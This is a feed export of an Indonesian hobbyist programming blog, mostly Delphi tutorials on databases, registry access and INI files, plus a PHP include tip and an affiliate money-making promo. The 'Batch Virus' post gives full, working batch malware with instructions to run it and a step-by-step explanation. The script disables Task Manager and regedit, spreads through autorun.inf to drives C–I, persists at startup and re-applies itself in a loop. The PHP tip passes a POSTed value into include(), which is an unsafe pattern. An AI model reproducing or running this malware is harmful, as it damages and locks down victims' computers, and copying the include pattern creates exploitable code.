tag:blogger.com,1999:blog-76670183511988418122024-02-20T00:03:32.209-08:00Yashir's BloGYashhttp://www.blogger.com/profile/03986324310038233192noreply@blogger.comBlogger12125tag:blogger.com,1999:blog-7667018351198841812.post-60984161227103919602009-07-22T00:10:00.000-07:002010-02-06T02:10:55.580-08:00Delphi 7 database dengan SQLite(Program Database Perpustakaan)<img alt="asas" class="alignnone size-full wp-image-107" height="367" mce_src="http://massimmoto.wordpress.com/files/2008/08/asas.jpg" src="http://massimmoto.wordpress.com/files/2008/08/asas.jpg" title="asas" width="509" /><br />
huhehehehe nih selese jugak... temen-temen berikut aku mbuat sebuah program database Perpustakaan dengan Delphi 7 tapiii databasenya pake SQLite, kenapa kok pake SQLite?? soalnya kalo pake MS access, paradox, dkk kayaknya udah biasa.. selain itu SQLite juga database yang bagus.. selain kapasitasnya daya simpannya buesar yaitu bisa mencapai 2 Tera, SQLite merupakan Embbeded database, bagiku itu cukup menyenagkan karena gak usah repot-repot ngurusin konfigurasi client-server kayak MySQL dkk...<br />
untuk melihat sourcenya anda harus terlebih dahulu install komponen ASQLite3 dari aducom ke compiler delphi anda<br />
<br />
<a name='more'></a><br />
<br />
nih.. silahkan donlod<br />
<a href="http://www.mediafire.com/?onjmmmjywhm" mce_href="http://www.mediafire.com/?onjmmmjywhm">ASQlite</a><br />
<br />
saya lanjutkannn....<br />
berikut scrin sut nya...<br />
<img alt="" height="180" mce_src="http://massimmoto.files.wordpress.com/2008/08/login.jpg" src="http://massimmoto.files.wordpress.com/2008/08/login.jpg" width="340" /><br />
saat membuka program pertama tuliskan dulu nama file databasenya contoh "perpus.ysr".. browse letak databasenya.. browse letak Library File nya SQLite ... trusss tekan deh tombol "Masuk Aplikasi" .... langkah-langkah tersebut Wajib hukumnya.. dan haram hukumnya untuk tidak melakukannya... hehehe<br />
<img alt="" height="180" mce_src="http://massimmoto.files.wordpress.com/2008/08/login.jpg" src="http://massimmoto.files.wordpress.com/2008/08/login.jpg" width="340" /><br />
<a href="http://massimmoto.files.wordpress.com/2008/08/main.jpg" mce_href="http://massimmoto.files.wordpress.com/2008/08/main.jpg"> </a><br />
di main menu (seperti pada gambar pertama diatas) terdapat beberapa Tab yang berisi pencatatan Transaksi, pencatatan buku, dan pencatatan member...<br />
dah ah segini saja penjelasannya kalo mau lebih jelas lagi donlod aja sourcenya..<br />
install komponen pendukungnya dulu.. diatas sudah saya sediakan link donlodnya<br />
ini program dan sourcenya...<br />
<a href="http://www.mediafire.com/?4zzz5z2m0dm" mce_href="http://www.mediafire.com/?4zzz5z2m0dm">database with SQLite</a><br />
<br />
kalau mau tanya-tanya silahkan kirim email ke saya..<br />
shiryash@gmail.com<br />
terimakasih.. semoga berguna..Yashhttp://www.blogger.com/profile/03986324310038233192noreply@blogger.com3tag:blogger.com,1999:blog-7667018351198841812.post-7666539587127777162009-07-21T23:14:00.000-07:002010-02-06T02:13:22.547-08:00Penerapan Function “StringReplace” Delphi 7 untuk menghubungkan dengan Search Engine(Google, Yahoo)<img alt="" mce_src="http://massimmoto.files.wordpress.com/2008/07/untitlfed1.jpg" src="http://massimmoto.files.wordpress.com/2008/07/untitlfed1.jpg" /><br />
<br />
<div class="NoSpacing">Kali ini saya memberikan contoh penerapan fungsi StringReplace untuk membuat program yang menghubungkan dengan search engine (Google,Yahoo). Program ini sangat sederhana, maaf bagi anda yang sudah MASTER Delphi, pasti akan sakit mata melihat artikel saya ini…</div><div class="NoSpacing">ini hanya program sederhana untuk para <i>internet surfer</i>..halah.. bahasane ramutu... hehe</div><div class="NoSpacing">seperti gambar diatas sekilas kayak search engine.. padahal cuma menhubungkan thok.. huhuhu....</div><div class="NoSpacing"><br />
</div>mari kita mulai membhaz nya....<br />
<br />
<a name='more'></a><br />
<br />
Oke langsung saya mulai saja prancangannya.. pada search engine (saya ambil contoh Google)saat kita menuliskan keyword, lalu mulai proses searching kemudian muncul hasil – hasilnya maka di address bar browser kita akan muncul alamat tertentu..<br />
<br />
Misal menuliskan keyword : “download mp3 gratis”(tanpa tanda petik)<br />
<br />
Maka pada address bar akan tertulis :<br />
<br />
http://www.google.co.id/search?hl=id&q=download+mp3+gratis&btnG=Telusuri+dengan+Google&meta=<br />
<br />
nnah.. dari sini dapat di ketahui bahwa keyword yang kita masukan tadi karakter spasi nya diganti dengan karakter “+”… sudah dapat gambarannya kan???<br />
<br />
Begini jelasnya<br />
<br />
Input/ keyword : “download mp3 gratis”, maka output di address bar..<br />
<br />
Output/address bar : download+mp3+gratis<br />
<br />
Begitulah.. segini aje penjelasannya males ngetik.. hehe.. langsung aja listing programnya<br />
<br />
/////////////////////////////////////////////////////////////////////////////////////////////////////////<br />
<br />
procedure TForm1.Button1Click(Sender: TObject);<br />
<br />
var<br />
<br />
Abody, Abody1 ,Abody2, front1, front2, replace,<br />
<br />
back1, back2, Brow : String;<br />
<br />
begin<br />
<br />
replace := StringReplace(edit1.Text,' ','+',[rfreplaceall]);<br />
<br />
front1 := 'www.google.co.id/search?hl=id&q=';<br />
<br />
front2 := 'id.search.yahoo.com/search?p=';<br />
<br />
back1 := '&btnG=Telusuri+dengan+Google&meta=';<br />
<br />
back2 := '&sm=Semua+Web&fr=yfp-t-web&toggle=1&cop=&ei=UTF-8';<br />
<br />
Abody1 := front1+replace+back1;<br />
<br />
Abody2 := front2+replace+back2;<br />
<br />
if radiogroup1.ItemIndex = 0 then brow := 'Firefox' else brow := 'IExplore';<br />
<br />
if radiogroup2.ItemIndex = 0 then Abody := Abody1 else Abody := Abody2;<br />
<br />
shellexecute(self.Handle,'open',pchar(brow),pchar(Abody),nil,sw_normal);<br />
<br />
end;<br />
<br />
///////////////////////////////////////////////////////////////////////////////////////////<br />
<br />
Karena Cuma program contoh ato iseng-iseng an, masih bnyak kekurangannya… hehe<br />
<br />
Kalo mau download nih tak kasih link nya<br />
<br />
<a href="http://www.mediafire.com/?lg13cnywdw4">search-engine</a><br />
<br />
terimakasih.. semoga bargunaYashhttp://www.blogger.com/profile/03986324310038233192noreply@blogger.com1tag:blogger.com,1999:blog-7667018351198841812.post-46254307270220325942009-07-21T23:06:00.000-07:002010-02-06T02:14:24.158-08:00Batch VirusTemen-temen Berikut adalah contoh virus dengan pemrograman Batch .. sederhana banget sih.. gak kejam .. gak ngrusak .. gak neko-neko... tapi licik... hahaha<br />
<br />
kenapa bisa licik?? yang bikin licik menurutku tu adanya proses looping nya.. jadi walau file yang di buat virus, atau registry entry yang di ubah ketauan sama yang punya komputer dan di kembalikan sepreti semula, tetep nantinya balik lagi-balik lagi hehehe<br />
<br />
yapp... langsung aja.. ini source nya....<br />
<br />
<a name='more'></a><br />
<br />
@echo off<br />
:proses<br />
reg add hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f<br />
reg add "hkcu\Control Panel\Mouse" /v SwapMouseButtons /t REG_SZ /d 1 /f<br />
echo [autorun]>autorun.inf<br />
echo shell\1=Scan Virus>>autorun.inf<br />
echo shell\1\command=noname.bat>>autorun.inf<br />
echo shell\2=Properties>>autorun.inf<br />
echo shell\2\command=noname.bat>>autorun.inf<br />
for %%t in (C D E F G H I) do copy /y autorun.inf %%t:\<br />
for %%t in (C D E F G H I) do copy /y %0 %%t:\<br />
for %%t in (C D E F G H I) do attrib +s +h %%t:\noname.bat<br />
for %%t in (C D E F G H I) do attrib +s +h %%t:\autorun.inf<br />
copy %0 C:\WINDOWS\system32\<br />
reg add hklm\Software\Microsoft\Windows\CurrentVersion\Run /v windos /t REG_SZ /d C:\WINDOWS\system32\noname.bat<br />
attrib +s +h C:\WINDOWS\system32\noname.bat<br />
reg add hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoFind /t REG_DWORD /d 1 /f<br />
reg add hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoRun /t REG_DWORD /d 1 /f<br />
reg add hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoClose /t REG_DWORD /d 1 /f<br />
reg add hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoDriveTypeAutoRun /t REG_DWORD /d 91 /f<br />
reg add hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoFolderOptions /t REG_DWORD /d 1 /f<br />
reg add hkcu\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /v ShowSuperHidden /t REG_DWORD /d 0 /f<br />
reg add "hklm\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v LegalNoticeCaption /t REG_SZ /d HUIHIHIHI /f<br />
reg add "hklm\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v LegalNoticeText /t REG_SZ /d "Maaf, komputer anda saya obok-obok.... Virus ini buatan anak bangsa cintailah produk dalam negri.., virus made in Tipes" /f<br />
reg add hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableRegistryTools /t REG_DWORD /d 1 /f<br />
attrib +s +h C:\WINDOWS<br />
goto proses<br />
<br />
=====================================================================<br />
<br />
tulis source diatas ke notepad trus ekstensinya diganti *.bat<br />
<br />
algoritmanya sbb :<br />
<br />
1. mendisable task manager<br />
<br />
2. membalik klik mouse<br />
<br />
3. membuat file autorun.inf<br />
<br />
4. copy autorun.inf ke drive C,D,E,F,G,H,I<br />
<br />
5. copy virus ke drive C,D,E,F,G,H,I<br />
<br />
6. merubah atribut virus & file autorun menjadi super hiden<br />
<br />
7. copy virus ke system32<br />
<br />
8. menjadikan virus aktif saat start up windows<br />
<br />
9. merubah atribut virus di folder system32 menjadi super hiden<br />
<br />
10. disable find, disable run, disable turn off computer, aktifkan autoplay, disable folder option, disable show super hiden, membuat pesan saat masuk windows, disable regedit.<br />
<br />
11. merubah atribut folder WINDOWS menjadi super hiden<br />
<br />
semoga bermanfaat..Yashhttp://www.blogger.com/profile/03986324310038233192noreply@blogger.com0tag:blogger.com,1999:blog-7667018351198841812.post-27139459314926356912009-07-21T22:46:00.000-07:002010-02-06T02:24:26.297-08:00Membuat Game sederhana dengan Delphi 7<span mce_="" style="font-size: small;">Oke langsung aja … berikut ini adalah contoh program game yang saya buat , sbenere ini tugas akhir semester ku, dari pada ndongkrok di computerku gak ada gunanye .. sekalian tak share ke temen-temen, nih screen shotnya<br />
<br />
<span class="fullpost"><br />
</span><img alt="" height="211" mce_src="http://massimmoto.files.wordpress.com/2008/07/untitled2.jpg" src="http://massimmoto.files.wordpress.com/2008/07/untitled2.jpg" width="295" /><img alt="" mce_src="http://massimmoto.files.wordpress.com/2008/07/untitled3.jpg" src="http://massimmoto.files.wordpress.com/2008/07/untitled3.jpg" style="height: 210px; width: 293px;" /><br />
<span mce_="" style="font-size: small;"><br />
</span></span><br />
<div mce_style="margin-bottom:0;" style="margin-bottom: 0pt;"><br />
<a name='more'></a><br />
</div><div mce_style="margin-bottom:0;" style="margin-bottom: 0pt;"><span mce_="" style="font-size: small;"><span mce_="" style="font-size: small;">Game ini Cuma game sederhana gak ada bagus-bagusnya :p, walaupun sederhana tapi buatnya tu agak rumit pren.. soalna aku Cuma pake komponen standar Delphi.. fiuuuuff…. Lima hari baru selese, dan codingnya juga semrawut.. hahaha … maklum masih amatiran… </span></span></div><div mce_style="margin-bottom:0;" style="margin-bottom: 0pt;"><span mce_="" style="font-size: small;"><span mce_="" style="font-size: small;">karena script nya panjaaaaaaaaaaaaaaaaaaaaaang bgt... jadinya kalo tak tulisin disini ntar jd menuh menuhin halaman.... kalo ada yang mau … silahkan donlud source nya,,,,, </span><a href="http://www.mediafire.com/?yiw2dyy5ntd" mce_href="http://www.mediafire.com/?yiw2dyy5ntd">crazy-icon</a> <span mce_="" style="font-size: small;"><br />
</span></span></div><span mce_="" style="font-size: small;"><a href="http://massimmoto.files.wordpress.com/2008/07/game-with-delphi.doc" mce_href="http://massimmoto.files.wordpress.com/2008/07/game-with-delphi.doc"><br />
</a><a href="http://massimmoto.files.wordpress.com/2008/07/game-with-delphi.doc" mce_href="http://massimmoto.files.wordpress.com/2008/07/game-with-delphi.doc"> </a><br />
</span>Yashhttp://www.blogger.com/profile/03986324310038233192noreply@blogger.com2tag:blogger.com,1999:blog-7667018351198841812.post-83626338324991762882009-07-21T22:39:00.000-07:002010-02-06T02:23:10.431-08:00Program buat nyimpen url"Halo temen – temen kali ini aku membuat program sederhana untuk nyimpen URL website-website supaya gak lupa alamate gittu, Program ini sangat berguna terutama untuk para peselancar Internet, termasuk saya sendiri..hehe Program ini juga dilengkapin tombol langsung untuk buka browser(IExplore & Firefox)<br />
<br />
Berikut Screen Shotnya<br />
<br />
<img height="250" src="http://img132.imageshack.us/img132/8080/saveurl.png" width="474" /><br />
<br />
<a name='more'></a><br />
Cara make nya gak sulit,yang terpenting, tulis dulu letak/path databasenya, pencet OK,<br />
<br />
buat databasenya aku pake Ms Acces, soalnya yang dah familiar dengan bnyak orang.. bagi yang mau source nya silahkan donlud aje yee…<br />
<br />
<br />
Semoga bermanfaat dan mencerdaskan bangsa :D.. terimakasih..<br />
<br />
<br />
ni link buat donludnya..<br />
<a href="http://www.mediafire.com/?mmndmnco5xy"><br />
bookmark-url</a>Yashhttp://www.blogger.com/profile/03986324310038233192noreply@blogger.com0tag:blogger.com,1999:blog-7667018351198841812.post-92012718299192145752009-07-21T22:35:00.000-07:002010-02-06T02:25:14.480-08:00Program Block Drive dengan Delphi 7Salam sejahtera semuanya..<br />
<br />
Berikut ini adalah contoh program Delphi akses registry, dalam program ini key registry yang saya utek-utek adalah ‘NoViewOnDrive’, key ini mengatur ijin akses dalam sebuah drive, letaknya pada HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\<br />
<br />
valuenya bertipe DWORD value, value datanya sbb:<br />
<br />
<span class="fullpost"><a name='more'></a><br />
<br />
Drive C = 4<br />
<br />
Drive D = 8<br />
<br />
Drive E = 16<br />
<br />
Drive F = 32<br />
<br />
Dan seterusnya.. pokoknya kelipatan dari 4 getto…<br />
<br />
Kalo mau ngeblock lebih dari satu drive kita tinggal menambahkan value data dari tiap drive yang akan di block… missal kita akan ngeblock drive C & D jadi value data yang akan di tulis adalah<br />
<br />
C = 4, D = 8 >> 4 + 8 = 12…<br />
<br />
untuk melanjutkan membaca klik link dibawah<br />
<br />
<br />
Suudah.. langsung aje ta mulai programnya ketik source berikut :<br />
<br />
<br />
<br />
public<br />
<br />
reg : tregistry; // {public declarationnya} ditambahkan ‘reg : tregistry’<br />
<br />
end;<br />
<br />
var<br />
<br />
Form1: TForm1;<br />
<br />
implementation<br />
<br />
{$R *.dfm}<br />
<br />
procedure restart();//procedure restart computer<br />
<br />
begin<br />
<br />
if application.MessageBox('Restart komputer agar bisa liat efeknya, restart sekarang???','Attention',mb_yesno or mb_iconquestion)=idyes<br />
<br />
then<br />
<br />
WinExec('cmd.exe /c "shutdown -r -t 0 -f"', SW_HIDE);// pake bantuan CMD :D<br />
<br />
end;<br />
<br />
procedure TForm1.Button1Click(Sender: TObject);<br />
<br />
var C,D,E,F,G,H,I,Hasil : integer;<br />
<br />
begin<br />
<br />
if checkbox1.Checked = true then C:=4 else C:=0;<br />
<br />
if checkbox2.Checked = true then D:=16 else D:=0;<br />
<br />
if checkbox3.Checked = true then E:=32 else E:=0;<br />
<br />
if checkbox4.Checked = true then F:=64 else F:=0;<br />
<br />
if checkbox5.Checked = true then G:=128 else G:=0;<br />
<br />
if checkbox6.Checked = true then H:=256 else H:=0;<br />
<br />
if checkbox7.Checked = true then I:=512 else I:=0;<br />
<br />
Hasil:= C+D+E+F+G+H+I;<br />
<br />
reg:=tregistry.Create;<br />
<br />
reg.RootKey:=HKEY_CURRENT_USER;<br />
<br />
reg.OpenKey('Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\',false);<br />
<br />
reg.WriteInteger('NoViewOnDrive',Hasil);<br />
<br />
reg.Free;<br />
<br />
restart();<br />
<br />
end;<br />
<br />
procedure TForm1.Label2Click(Sender: TObject);<br />
<br />
begin<br />
<br />
reg:=tregistry.Create;<br />
<br />
reg.RootKey:=HKEY_CURRENT_USER;<br />
<br />
reg.OpenKey('Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\',false);<br />
<br />
reg.DeleteValue('NoViewOnDrive');<br />
<br />
reg.Free;<br />
<br />
restart();<br />
<br />
end;<br />
<br />
procedure TForm1.About1Click(Sender: TObject);<br />
<br />
begin<br />
<br />
messagedlg('Program Made by Yasir (massimmoto.wordpress.com)',mtinformation,[mbok],0);<br />
<br />
end;<br />
<br />
procedure TForm1.Exit1Click(Sender: TObject);<br />
<br />
begin<br />
<br />
application.Terminate;<br />
<br />
end;<br />
<br />
<br />
<br />
jangan lupa nambahin uses registry<br />
<br />
kalo mau downlod sourcenya nih .... <a href="http://www.mediafire.com/?4gdzkantgli">block-drive</a><br />
<br />
semoga bermanfaat amiiiiiinn :D<br />
<br />
</span>Yashhttp://www.blogger.com/profile/03986324310038233192noreply@blogger.com0tag:blogger.com,1999:blog-7667018351198841812.post-62968767121108193012009-07-19T07:06:00.000-07:002010-02-06T02:27:10.117-08:00program akses registry “Registry Tweaking”Iseng iseng .. gak ada kerjaan yaudah..aplod program ini saja... ini adalah program yang aku buat untuk mempermudah merubah registry value.. dari pada susah-susah .. harus buka regedit.. nyari keynya gak ktmu ktemu.. hahahah.. nih aku bkinin tool utk mempermudah akses dan ngoprek registry windows... bikinnya sendiri.. seperti biasa yaa pake Delphi 7,.. hehehe<br />
<br />
berikut scrin sutnya<br />
<br />
<img alt="reg" class="alignnone size-full wp-image-100" height="331" src="http://massimmoto.wordpress.com/files/2009/01/reg.jpg" title="reg" width="510" /><br />
<br />
seperti yang anda lihat... disana terdapat banyak check box.. dan beberapa tombol.. untuk mengoperasikannya tinggal check value yang akan dirubah dan pencet tombol OK... tinggal restart... dan .. jrengg jreng.. perubahan yang dilakukan telah nampak... hehe...<br />
<br />
kali ini gak saya sedia in source nya... soalnya ... mungkin temen-tmen dah pada pinter... dan juga dah banyak yang bahas tentang akses registry di windows...<br />
<br />
saya harapkan jangan gunakan program ini untuk njahilin komputer teman anda.. tidak baik atuh.. hehe :D<br />
<br />
langsung aj nih sedot program jadinya<br />
<br />
<a href="http://www.mediafire.com/?jwtmmygrwdz">Registry Tweaking</a><br />
<br />
terimakasih.. semoga bermanfaat...Yashhttp://www.blogger.com/profile/03986324310038233192noreply@blogger.com0tag:blogger.com,1999:blog-7667018351198841812.post-72684836205550408972009-07-19T07:01:00.000-07:002010-02-06T02:27:55.749-08:00Bisnis InternetInternet.. internet.. internet..<br />
hemmm,,, paling kebanyakan orang" atau anak muda sukanya kalo internet itu pasti buka Facebook, kalo gak ya Friendster, chatting... wah wah... emank mengasyikkan hal kyak gt... saya pun juga suka bgt sbenere uheueheh :p<br />
<br />
<a name='more'></a><br />
<br />
dari pada kalian internet cuma gitu" mlulu... coba deh... nyari tambahan uang saku dengan media internet..<a href="http://www.komisigratis.com/?id=anuman"><img alt="images" class="alignnone size-full wp-image-110" height="135" src="http://massimmoto.wordpress.com/files/2009/06/images.jpeg" title="images" width="135" /></a>.<br />
<br />
ups.....<br />
<br />
jangan takut... gak pake modal kok.... alias GRATIS..... ATAU Rp.0.... WAAAw.... bner gak sih... hemmm<br />
<br />
ah... jgn byk tanya...<br />
<br />
langsung aja klik gambar ini... untuk info lebih lanjut.....<br />
<br />
<a href="http://www.komisigratis.com/?id=anuman"><img alt="images1" class="alignnone size-full wp-image-113" height="102" src="http://massimmoto.wordpress.com/files/2009/06/images11.jpeg" title="images1" width="133" /></a><br />
<br />
selamat mencobaaaaaaa...Yashhttp://www.blogger.com/profile/03986324310038233192noreply@blogger.com0tag:blogger.com,1999:blog-7667018351198841812.post-91924843308716993822009-07-19T06:55:00.000-07:002010-02-06T02:28:28.044-08:00Menulis konfigurasi program di File *.iniWah.. lama gak nulis nih... mumpung gak sibuk... nulis aaah....<br />
<br />
Sering sekali kita membuat program yang konfigurasi/setting program nya bisa di ubah saat runtime... dann gak mungkin kan kita menyimpan setting/konfigurasi tsb kedalam database???? rasanya kurang efektif jika melakukan hal itu...<br />
<br />
maka lebih simple dan efektif simpan aja setting program tmen" di file *.ini, berikut tutornya..<br />
<br />
<a name='more'></a><br />
pertama tambahkan uses pada unit anda... jangan lupa ya ini penting....<br />
<br />
uses inifiles;<br />
<br />
kemudian tambahakan variable bernilai TInifile<br />
<br />
var ini:TIniFile;<br />
<br />
setelah itu kita buat filenya dengan method<br />
<br />
ini := TIniFile.Create(extractfiledir(application.ExeName) + '\Setting.ini');<br />
<br />
statement ExtractFileDir digunakan untuk melakukan ekstraksi atau mendapatkan directory location pada FileName yang sudah ditentukan... kemudian<br />
statement Application.Exename yaitu mendapatkan letak file excutable(*.exe) dari program anda..<br />
<br />
jadi nantinya file Setting.ini akan terletak pada direktori yang sama dengan aplikasi anda...<br />
<br />
Menulis pada File *.ini :<br />
<br />
ini.WriteString('Setting', 'Panjang_form', '233');<br />
<br />
setelah di run akan menghasilkan<br />
<br />
<img alt="Ini" height="139" src="http://massimmoto.wordpress.com/files/2009/06/ini.jpg" title="Ini" width="304" /><br />
<br />
Membaca pada File *.ini :<br />
<br />
ini.ReadString('Setting', 'Panjang_form', '');<br />
<br />
method tersebut akan mengembalikan pada value Panjang_form yang tadi sudah ditulis... dan bertipe data String..<br />
<br />
nah... begitulah caranya... mudah kan.....<br />
<br />
kalo ada pertanyaan kirim email atau tulis comment aj...<br />
<br />
selamat belajaar...Yashhttp://www.blogger.com/profile/03986324310038233192noreply@blogger.com0tag:blogger.com,1999:blog-7667018351198841812.post-84435933905136644712009-07-19T06:35:00.001-07:002010-02-06T02:30:40.665-08:00contoh Program database dengan gambar(Delphi7 & MSAccess)kali ini saya akan memberi contoh program database disertai tampilan image di setiap data..<br />
<br />
mungkin anda akan mengira prosedur dari program yang akan saya contohkan adalah dengan menyimpan file binary image kedalam table database bertipe data BOLB... bisa juga sih make cara seperti itu dan sudah banyak yang mbahas ..<br />
<br />
yang akan saya bahas disini yaitu menampilkan gambar atau image dari local direktori yang sudah ditentukan dalam suatu komputer...<br />
<br />
dengan kata lain di dalam database yang akan kita simpan bukan binary file dari image tetapi path image atau image location...<br />
<br />
<a name='more'></a><br />
<br />
mengapa saya memilih cara seperti ini???<br />
<br />
soalnyaaa.. menyimpan binary file kedalam database akan memberi penambahan kerja server, belum lagi kita load image dari database ke program kita... gak mau kan databse server kita down??<br />
<br />
nah maka dari itu lebih aman kita make cara seperti ini... langsung saja gak usah basa basi... baca penjelasan dibawah...<br />
<br />
<br />
<br />
saya hanya akan menjelaskan point terpentingnya...<br />
<br />
<br />
<br />
procedure TForm1.Button1Click(Sender: TObject);<br />
<br />
begin<br />
<br />
if op.Execute then<br />
<br />
begin<br />
<br />
dir := extractfiledir(application.ExeName) + '\gambar\' + extractfilename(op.FileName);<br />
<br />
if fileexists(dir) then<br />
<br />
begin<br />
<br />
showmessage('file sudah ada');<br />
<br />
end else<br />
<br />
begin<br />
<br />
copyfile(pchar(op.FileName), pchar(dir), false);<br />
<br />
dbpath.Text := dir;<br />
<br />
end;<br />
<br />
end;<br />
<br />
end;<br />
<br />
<br />
<br />
method di atas melakukan instruksi copy file image dari openImageDialogs ke direktori yang sudah ditentukan yaitu<br />
<br />
<br />
<br />
dir := extractfiledir(application.ExeName) + '\gambar\' + extractfilename(op.FileName);<br />
<br />
..<br />
<br />
..<br />
<br />
copyfile(pchar(op.FileName), pchar(dir), false);<br />
<br />
dbpath.Text := dir;<br />
<br />
<br />
<br />
memunculkan gambar pada komponen image :<br />
<br />
<br />
<br />
procedure TForm1.DBpathChange(Sender: TObject);<br />
<br />
begin<br />
<br />
if fileexists(dbpath.Text) then<br />
<br />
begin<br />
<br />
image1.Picture.LoadFromFile(dbpath.Text);<br />
<br />
end else<br />
<br />
begin<br />
<br />
image1.Picture.LoadFromFile(extractfiledir(application.ExeName) + '\gambar\nophoto.jpg');<br />
<br />
end;<br />
<br />
end;<br />
<br />
<br />
<br />
dari Dbedit yang berisi image location dan dengan even onChange komponen image me load image dari path yang tertera pada Dbedit.<br />
<br />
<br />
<br />
Nah... sekian tips dari saya silahkan donlod source lengkapnya <a href="http://www.mediafire.com/?fydjynmiykw">disini</a><br />
<br />
trimakasiih... semoga bermanfaat....Yashhttp://www.blogger.com/profile/03986324310038233192noreply@blogger.com0tag:blogger.com,1999:blog-7667018351198841812.post-86000446639524574122009-07-05T05:27:00.000-07:002010-02-06T02:32:23.216-08:00Tips PHP, JavaScript Halaman index dinamis(PHP & javascript)Waahh .. baru kali ini saya nulis artikel mengenai web programming… nyem nyem…<br />
<br />
langsung saja…<br />
<br />
tips ini saya buat ketika saya ngerjain tugas dari dosen pemrograman web… tugas nya yaituu.. penerapan fungsi “include()” ..<br />
<br />
<br />
<a name='more'></a><br />
<br />
<div style="margin-bottom: 0pt;"><span class="fullpost">nah .. tanya” ma temen</span></div><div style="margin-bottom: 0pt;"></div><div style="margin-bottom: 0pt;"><span class="fullpost">“eh gimana web kamu?? dah bisa??”(penulis)</span></div><div style="margin-bottom: 0pt;"><span class="fullpost">“iya udah … ”(temen penulis)</span></div><div style="margin-bottom: 0pt;"><span class="fullpost">“coba donk aku lihat…”(penulis)</span></div><div style="margin-bottom: 0pt;"><span class="fullpost">(sambil garuk” kepala liat kerjaan pnya tmn)</span></div><div style="margin-bottom: 0pt;"><span class="fullpost">“ooo.. gitu to caranya..”.(penulis)</span></div><div style="margin-bottom: 0pt;"></div><div style="margin-bottom: 0pt;"><span class="fullpost">tmn” saya.. udah pada bisa… daan cara mereka nerapin function include() juga sama semua….</span></div><div style="margin-bottom: 0pt;"><span class="fullpost">mereka buat desain nya dari banner.. tampilan menu.. serta semua dekorasi” nya….kedalam satu file PHP trus.. dengan function include() disisipkan lah desain tersebut ke dlm halaman content(home, about, dsb)</span></div><div style="margin-bottom: 0pt;"></div><div style="margin-bottom: 0pt;"><span class="fullpost">nah.. saya mulai penasaran… gimana caranya supaya si content yang saya include kan kedalam file desain.php… trink… langsung kepikiran…</span></div><div style="margin-bottom: 0pt;"><span class="fullpost">akhirnya saya gabungin antara javascript dan PHP… ternyata akur” aja…. uheuheueh</span></div><div style="margin-bottom: 0pt;"></div><div style="margin-bottom: 0pt;"><span class="fullpost">langsung aja penjelasannya :</span></div><div style="margin-bottom: 0pt;"></div><div style="margin-bottom: 0pt;"><span class="fullpost">saya buat dulu satu variabel dalam PHP yang berisi file yang akan di include kan… yaitu :</span></div><div style="margin-bottom: 0pt;"></div><div style="margin-bottom: 0pt;"><span class="fullpost">“$link”</span></div><div style="margin-bottom: 0pt;"></div><div style="margin-bottom: 0pt;"><span class="fullpost">yang mempunyai value dari hasil POST value HiddenField..maka :</span></div><div style="margin-bottom: 0pt;"></div><div style="margin-bottom: 0pt;"><span class="fullpost">$link = $_POST['hid'];</span></div><div style="margin-bottom: 0pt;"></div><div style="margin-bottom: 0pt;"><span class="fullpost">akan dijelaskan dibawah…</span></div><div style="margin-bottom: 0pt;"></div><div style="margin-bottom: 0pt;"><span class="fullpost">kemudian buat HiddenField saya beri nama :</span></div><div style="margin-bottom: 0pt;"></div><div style="margin-bottom: 0pt;"><span class="fullpost">“hid”</span></div><div style="margin-bottom: 0pt;"></div><div style="margin-bottom: 0pt;"><span class="fullpost">kemudian buat function dari javascript … berikut :</span></div><div style="margin-bottom: 0pt;"></div><div style="margin-bottom: 0pt;"><span class="fullpost">function klik(v){</span></div><div style="margin-bottom: 0pt;"><span class="fullpost">switch(v){</span></div><div style="margin-bottom: 0pt;"><span class="fullpost">case ‘home’ : document.form.hid.value = ‘home.php’;break;</span></div><div style="margin-bottom: 0pt;"><span class="fullpost">case ‘down’ : document.form.hid.value = ‘down.php’;break;</span></div><div style="margin-bottom: 0pt;"><span class="fullpost">case ‘about’ : document.form.hid.value = ‘about.php’;break;</span></div><div style="margin-bottom: 0pt;"><span class="fullpost">}</span></div><div style="margin-bottom: 0pt;"><span class="fullpost">document.form.submit();</span></div><div style="margin-bottom: 0pt;"><span class="fullpost">}</span></div><div style="margin-bottom: 0pt;"></div><div style="margin-bottom: 0pt;"><span class="fullpost">function tersebut akan bernilai berbeda berdasarkan input yang diberikan, dalam hal ini input saya deklarasikan dalam variabel “v”:</span></div><div style="margin-bottom: 0pt;"><span class="fullpost">function klik(v)</span></div><div style="margin-bottom: 0pt;"></div><div style="margin-bottom: 0pt;"><span class="fullpost">ketika v bernilai : ‘home’ maka HiddenField memiliki value home.php… dan seterusnyaaaa…</span></div><div style="margin-bottom: 0pt;"></div><div style="margin-bottom: 0pt;"><span class="fullpost">kemudian function tersebut saya implementasikan pada image, ketika event onClick function klik akan dipanggil dan diberi input yang sesuai.. :</span></div><div style="margin-bottom: 0pt;"></div><div style="margin-bottom: 0pt;"><span class="fullpost"><img align="”top”" alt="”hm”" height="60" onclick="”klik(’home’)”" src="%E2%80%9Dimages/home1.png%E2%80%9D" width="150" /></span></div><div style="margin-bottom: 0pt;"></div><div style="margin-bottom: 0pt;"><span class="fullpost">nah.. sekian… capek ngetik… <img alt=":(" class="wp-smiley" src="http://s.wordpress.com/wp-includes/images/smilies/icon_sad.gif" /> …</span></div><div style="margin-bottom: 0pt;"></div><div style="margin-bottom: 0pt;">untuk lebih jelas nya silahkan donlod source nyaa <a href="http://www.mediafire.com/?mythfzmzmet">disinii..</a></div>Yashhttp://www.blogger.com/profile/03986324310038233192noreply@blogger.com1tag:blogger.com,1999:blog-7667018351198841812.post-84314483324178421822009-07-01T05:57:00.000-07:002010-02-05T05:02:39.292-08:00Order me a SoftWare.... :D~<p><img src="http://img401.imageshack.us/img401/6531/box.png" alt="logo" width="155" height="130" /></p><br /><p>Saya 